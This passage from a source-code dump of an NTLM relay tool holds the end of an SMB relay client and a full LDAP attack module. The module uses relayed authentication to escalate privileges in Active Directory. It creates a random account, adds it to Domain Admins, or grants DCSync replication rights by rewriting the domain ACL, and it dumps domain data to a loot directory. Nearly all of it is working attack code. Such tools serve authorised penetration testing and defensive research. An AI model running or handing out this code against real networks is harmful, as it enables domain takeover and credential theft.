smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 331 | except: 332 | return None, STATUS_LOGON_FAILURE 333 | else: 334 | v1client.set_uid(smb['Uid']) 335 | return smb, STATUS_SUCCESS 336 | else: 337 | # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 338 | clientResponse = None 339 | errorCode = STATUS_ACCESS_DENIED 340 | 341 | return clientResponse, errorCode 342 | 343 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 344 | if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 345 | # We need to wrap the NTLMSSP into SPNEGO 346 | respToken2 = SPNEGO_NegTokenResp() 347 | respToken2['ResponseToken'] = str(authenticateMessageBlob) 348 | authData = respToken2.getData() 349 | else: 350 | authData = str(authenticateMessageBlob) 351 | 352 | if self.session.getDialect() == SMB_DIALECT: 353 | token, errorCode = self.sendAuthv1(authData, serverChallenge) 354 | else: 355 | token, errorCode = self.sendAuthv2(authData, serverChallenge) 356 | return token, errorCode 357 | 358 | def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): 359 | v2client = self.session.getSMBServer() 360 | 361 | sessionSetup = SMB2SessionSetup() 362 | sessionSetup['Flags'] = 0 363 | 364 | packet = v2client.SMB_PACKET() 365 | packet['Command'] = SMB2_SESSION_SETUP 366 | packet['Data'] = sessionSetup 367 | 368 | # Reusing the previous structure 369 | sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) 370 | sessionSetup['Buffer'] = authenticateMessageBlob 371 | 372 | packetID = v2client.sendSMB(packet) 373 | packet = v2client.recvSMB(packetID) 374 | 375 | return packet, packet['Status'] 376 | 377 | def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): 378 | v1client = self.session.getSMBServer() 379 | 380 | smb = NewSMBPacket() 381 | smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 382 | smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 383 | # Are we required to sign SMB? If so we do it, if not we skip it 384 | if v1client.is_signing_required(): 385 | smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 386 | smb['Uid'] = v1client.get_uid() 387 | 388 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 389 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 390 | sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 391 | 392 | sessionSetup['Parameters']['MaxBufferSize'] = 65535 393 | sessionSetup['Parameters']['MaxMpxCount'] = 2 394 | sessionSetup['Parameters']['VcNumber'] = 1 395 | sessionSetup['Parameters']['SessionKey'] = 0 396 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 397 | 398 | # Fake Data here, don't want to get us fingerprinted 399 | sessionSetup['Data']['NativeOS'] = 'Unix' 400 | sessionSetup['Data']['NativeLanMan'] = 'Samba' 401 | 402 | sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) 403 | sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob 404 | smb.addCommand(sessionSetup) 405 | v1client.sendSMB(smb) 406 | 407 | smb = v1client.recvSMB() 408 | 409 | errorCode = smb['ErrorCode'] << 16 410 | errorCode += smb['_reserved'] << 8 411 | errorCode += smb['ErrorClass'] 412 | 413 | return smb, errorCode 414 | 415 | def getStandardSecurityChallenge(self): 416 | if self.session.getDialect() == SMB_DIALECT: 417 | return self.session.getSMBServer().get_encryption_key() 418 | else: 419 | return None 420 | -------------------------------------------------------------------------------- /ntlmrelayx/attacks/ldapattack.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # LDAP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # LDAP(s) protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | import random 19 | import string 20 | import thread 21 | import ldapdomaindump 22 | import ldap3 23 | from impacket import LOG 24 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 25 | from impacket.ldap import ldaptypes 26 | from impacket.uuid import string_to_bin, bin_to_string 27 | from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 28 | from pyasn1.type.namedtype import NamedTypes, NamedType 29 | from pyasn1.type.univ import Sequence, Integer 30 | from ldap3.utils.conv import escape_filter_chars 31 | from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 32 | # This is new from ldap3 v2.5 33 | try: 34 | from ldap3.protocol.microsoft import security_descriptor_control 35 | except ImportError: 36 | # We use a print statement because the logger is not initialized yet here 37 | print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \ 38 | Please update with pip install ldap3 --upgrade') 39 | PROTOCOL_ATTACK_CLASS = "LDAPAttack" 40 | 41 | # Define global variables to prevent dumping the domain twice 42 | # and to prevent privilege escalating more than once 43 | dumpedDomain = False 44 | alreadyEscalated = False 45 | class LDAPAttack(ProtocolAttack): 46 | """ 47 | This is the default LDAP attack. It checks the privileges of the relayed account 48 | and performs a domaindump if the user does not have administrative privileges. 49 | If the user is an Enterprise or Domain admin, a new user is added to escalate to DA. 50 | """ 51 | PLUGIN_NAMES = ["LDAP", "LDAPS"] 52 | def __init__(self, config, LDAPClient, username): 53 | ProtocolAttack.__init__(self, config, LDAPClient, username) 54 | 55 | def addUser(self, parent, domainDumper): 56 | """ 57 | Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can 58 | also be an OU or other container where we have write privileges 59 | """ 60 | global alreadyEscalated 61 | if alreadyEscalated: 62 | LOG.error('New user already added. Refusing to add another') 63 | return 64 | 65 | # Random password 66 | newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 67 | 68 | # Random username 69 | newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) 70 | newUserDn = 'CN=%s,%s' % (newUser, parent) 71 | ucd = { 72 | 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 73 | 'distinguishedName': newUserDn, 74 | 'cn': newUser, 75 | 'sn': newUser, 76 | 'givenName': newUser, 77 | 'displayName': newUser, 78 | 'name': newUser, 79 | 'userAccountControl': 512, 80 | 'accountExpires': '0', 81 | 'sAMAccountName': newUser, 82 | 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 83 | } 84 | 85 | res = self.client.add(newUserDn, ['top','person','organizationalPerson','user'], ucd) 86 | if not res: 87 | # Adding users requires LDAPS 88 | if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 89 | LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 90 | else: 91 | LOG.error('Failed to add a new user: %s' % str(self.client.result)) 92 | return False 93 | else: 94 | LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) 95 | # Return the DN 96 | return newUserDn 97 | 98 | def addUserToGroup(self, userDn, domainDumper, groupDn): 99 | global alreadyEscalated 100 | # For display only 101 | groupName = groupDn.split(',')[0][3:] 102 | userName = userDn.split(',')[0][3:] 103 | # Now add the user as a member to this group 104 | res = self.client.modify(groupDn, { 105 | 'member': [(ldap3.MODIFY_ADD, [userDn])]}) 106 | if res: 107 | LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) 108 | LOG.info('Privilege escalation succesful, shutting down...') 109 | alreadyEscalated = True 110 | thread.interrupt_main() 111 | else: 112 | LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) 113 | 114 | def aclAttack(self, userDn, domainDumper): 115 | global alreadyEscalated 116 | if alreadyEscalated: 117 | LOG.error('ACL attack already performed. Refusing to continue') 118 | return 119 | 120 | # Query for the sid of our user 121 | self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) 122 | entry = self.client.entries[0] 123 | username = entry['sAMAccountName'].value 124 | usersid = entry['objectSid'].value 125 | LOG.debug('Found sid for user %s: %s' % (username, usersid)) 126 | 127 | # Set SD flags to only query for DACL 128 | controls = security_descriptor_control(sdflags=0x04) 129 | alreadyEscalated = True 130 | 131 | LOG.info('Querying domain security descriptor') 132 | self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 133 | entry = self.client.entries[0] 134 | secDescData = entry['nTSecurityDescriptor'].raw_values[0] 135 | secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 136 | 137 | secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 138 | secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 139 | dn = entry.entry_dn 140 | data = secDesc.getData() 141 | self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 142 | if self.client.result['result'] == 0: 143 | alreadyEscalated = True 144 | LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username) 145 | LOG.info('Try using DCSync with secretsdump.py and this user :)') 146 | return True 147 | else: 148 | LOG.error('Error when updating ACL: %s' % self.client.result) 149 | return False 150 | 151 | def validatePrivileges(self, uname, domainDumper): 152 | # Find the user's DN 153 | membersids = [] 154 | sidmapping = {} 155 | privs = { 156 | 'create': False, # Whether we can create users 157 | 'createIn': None, # Where we can create users 158 | 'escalateViaGroup': False, # Whether we can escalate via a group 159 | 'escalateGroup': None, # The group we can escalate via 160 | 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 161 | 'aclEscalateIn': None # The object which ACL we can edit 162 | } 163 | self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) 164 | user = self.client.entries[0] 165 | usersid = user['objectSid'].value 166 | sidmapping[usersid] = user.entry_dn 167 | membersids.append(usersid) 168 | # The groups the user is a member of 169 | self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) 170 | LOG.debug('User is a member of: %s' % self.client.entries) 171 | for entry in self.client.entries: 172 | sidmapping[entry['objectSid'].value] = entry.entry_dn 173 | membersids.append(entry['objectSid'].value) 174 | # Also search by primarygroupid 175 | # First get domain SID 176 | self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) 177 | domainsid = self.client.entries[0]['objectSid'].value 178 | gid = user['primaryGroupId'].value 179 | # Now search for this group by SID 180 | self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) 181 | group = self.client.entries[0] 182 | LOG.debug('User is a member of: %s' % self.client.entries) 183 | # Add the group sid of the primary group to the list 184 | sidmapping[group['objectSid'].value] = group.entry_dn 185 | membersids.append(group['objectSid'].value) 186 | controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl 187 | # Now we have all the SIDs applicable to this user, now enumerate the privileges 188 | entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=container)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 189 | self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 190 | # Interesting groups we'd like to be a member of, in order of preference 191 | interestingGroups = [ 192 | '%s-%d' % (domainsid, 519), # Enterprise admins 193 | '%s-%d' % (domainsid, 512), # Domain admins 194 | 'S-1-5-32-544', # Built-in Administrators 195 | 'S-1-5-32-551', # Backup operators 196 | 'S-1-5-32-548', # Account operators 197 | ] 198 | privs['escalateViaGroup'] = False 199 | for group in interestingGroups: 200 | self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass']) 201 | groupdata = self.client.response 202 | self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) 203 | if privs['escalateViaGroup']: 204 | # We have a result - exit the loop 205 | break 206 | return (usersid, privs) 207 | 208 | def getUserInfo(self, domainDumper, samname): 209 | entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) 210 | try: 211 | dn = self.client.entries[0].entry_dn 212 | sid = self.client.entries[0]['objectSid'] 213 | return (dn, sid) 214 | except IndexError: 215 | LOG.error('User not found in LDAP: %s' % samname) 216 | return False 217 | 218 | def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): 219 | for entry in entries: 220 | if entry['type'] != 'searchResEntry': 221 | continue 222 | dn = entry['dn'] 223 | try: 224 | sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] 225 | except IndexError: 226 | # We don't have the privileges to read this security descriptor 227 | continue 228 | hasFullControl = False 229 | secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() 230 | secDesc.fromString(sdData) 231 | if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids: 232 | sid = secDesc['OwnerSid'].formatCanonical() 233 | LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) 234 | hasFullControl = True 235 | # Iterate over all the ACEs 236 | for ace in secDesc['Dacl'].aces: 237 | sid = ace['Ace']['Sid'].formatCanonical() 238 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: 239 | continue 240 | if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE): 241 | # ACE is set on this object, but only inherited, so not applicable to us 242 | continue 243 | # Check if the ACE has restrictions on object type 244 | if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 245 | and ace.hasFlag(ACE.INHERITED_ACE) \ 246 | and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): 247 | # Verify if the ACE applies to this object type 248 | if not self.aceApplies(ace, entry['raw_attributes']['objectClass']): 249 | continue 250 | 251 | if sid in membersids: 252 | if can_create_users(ace) or hasFullControl: 253 | if not hasFullControl: 254 | LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 255 | if dn == 'CN=Users,%s' % domainDumper.root: 256 | # We can create users in the default container, this is preferred 257 | privs['create'] = True 258 | privs['createIn'] = dn 259 | else: 260 | # Could be a different OU where we have access 261 | # store it until we find a better place 262 | if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and 'organizationalUnit' in entry['raw_attributes']['objectClass']: 263 | privs['create'] = True 264 | privs['createIn'] = dn 265 | if can_add_member(ace) or hasFullControl: 266 | if 'group' in entry['raw_attributes']['objectClass']: 267 | # We can add members to a group 268 | if not hasFullControl: 269 | LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 270 | privs['escalateViaGroup'] = True 271 | privs['escalateGroup'] = dn 272 | if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl: 273 | if not hasFullControl: 274 | LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 275 | # We can modify the domain Dacl 276 | if 'domain' in entry['raw_attributes']['objectClass']: 277 | privs['aclEscalate'] = True 278 | privs['aclEscalateIn'] = dn 279 | 280 | @staticmethod 281 | def aceApplies(ace, objectClasses): 282 | ''' 283 | Checks if an ACE applies to this object (based on object classes). 284 | Note that this function assumes you already verified that InheritedObjectType is set (via the flag). 285 | If this is not set, the ACE applies to all object types. 286 | ''' 287 | objectTypeGuid = bin_to_string(ace['Ace']['InheritedObjectType']).lower() 288 | for objectType, guid in OBJECTTYPE_GUID_MAP.iteritems(): 289 | if objectType in objectClasses and objectTypeGuid: 290 | return True 291 | # If none of these match, the ACE does not apply to this object 292 | return False 293 | 294 | 295 | def run(self): 296 | #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') 297 | #print self.client.entries 298 | global dumpedDomain 299 | # Set up a default config 300 | domainDumpConfig = ldapdomaindump.domainDumpConfig() 301 | 302 | # Change the output directory to configured rootdir 303 | domainDumpConfig.basepath = self.config.lootdir 304 | 305 | # Create new dumper object 306 | domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) 307 | userSid, privs = self.validatePrivileges(self.username, domainDumper) 308 | if privs['create']: 309 | LOG.info('User privileges found: Create user') 310 | if privs['escalateViaGroup']: 311 | name = privs['escalateGroup'].split(',')[0][3:] 312 | LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) 313 | if privs['aclEscalate']: 314 | LOG.info('User privileges found: Modifying domain ACL') 315 | 316 | # We prefer ACL escalation since it is more quiet 317 | if self.config.aclattack and privs['aclEscalate']: 318 | LOG.debug('Performing ACL attack') 319 | if self.config.escalateuser: 320 | # We can escalate an existing user 321 | result = self.getUserInfo(domainDumper, self.config.escalateuser) 322 | # Unless that account does not exist of course 323 | if not result: 324 | LOG.error('Unable to escalate without a valid user, aborting.') 325 | return 326 | userDn, userSid = result 327 | # Perform the ACL attack 328 | self.aclAttack(userDn, domainDumper) 329 | return 330 | else: 331 | # Create a nice shiny new user for the escalation 332 | userDn = self.addUser(privs['createIn'], domainDumper) 333 | if not userDn: 334 | LOG.error('Unable to escalate without a valid user, aborting.') 335 | return 336 | # Perform the ACL attack 337 | self.aclAttack(userDn, domainDumper) 338 | return 339 | 340 | # If we can't ACL escalate, try adding us to a privileged group 341 | if self.config.addda and privs['escalateViaGroup']: 342 | LOG.debug('Performing Group attack') 343 | if self.config.escalateuser: 344 | # We can escalate an existing user 345 | result = self.getUserInfo(domainDumper, self.config.escalateuser) 346 | # Unless that account does not exist of course 347 | if not result: 348 | LOG.error('Unable to escalate without a valid user, aborting.') 349 | return 350 | userDn, userSid = result 351 | # Perform the Group attack 352 | self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 353 | return 354 | else: 355 | # Create a nice shiny new user for the escalation 356 | userDn = self.addUser(privs['createIn'], domainDumper) 357 | if not userDn: 358 | LOG.error('Unable to escalate without a valid user, aborting.') 359 | return 360 | # Perform the Group attack 361 | self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 362 | return 363 | 364 | # Last attack, dump the domain if no special privileges are present 365 | if not dumpedDomain and self.config.dumpdomain: 366 | # Do this before the dump is complete because of the time this can take 367 | dumpedDomain = True 368 | LOG.info('Dumping domain info for first time') 369 | domainDumper.domainDump() 370 | LOG.info('Domain info dumped into lootdir!') 371 | 372 | # Create an object ACE with the specified privguid and our sid 373 | def create_object_ace(privguid, sid): 374 | nace = ldaptypes.ACE() 375 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 376 | nace['AceFlags'] = 0x00 377 | acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 378 | acedata['Mask'] = ldaptypes.ACCESS_MASK() 379 | acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS 380 | acedata['ObjectType'] = string_to_bin(privguid) 381 | acedata['InheritedObjectType'] = '' 382 | acedata['Sid'] = ldaptypes.LDAP_SID() 383 | acedata['Sid'].fromCanonical(sid) 384 | acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 385 | nace['Ace'] = acedata 386 | return nace 387 | 388 | # Check if an ACE allows for creation of users 389 | def can_create_users(ace): 390 | createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD) 391 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == '': 392 | return False 393 | userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2' 394 | return createprivs and userprivs 395 | 396 | # Check if an ACE allows for adding members 397 | def can_add_member(ace): 398 | writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP) 399 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == '': 400 | return writeprivs 401 | userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2' 402 | return writeprivs and userprivs 403 | --------------------------------------------------------------------------------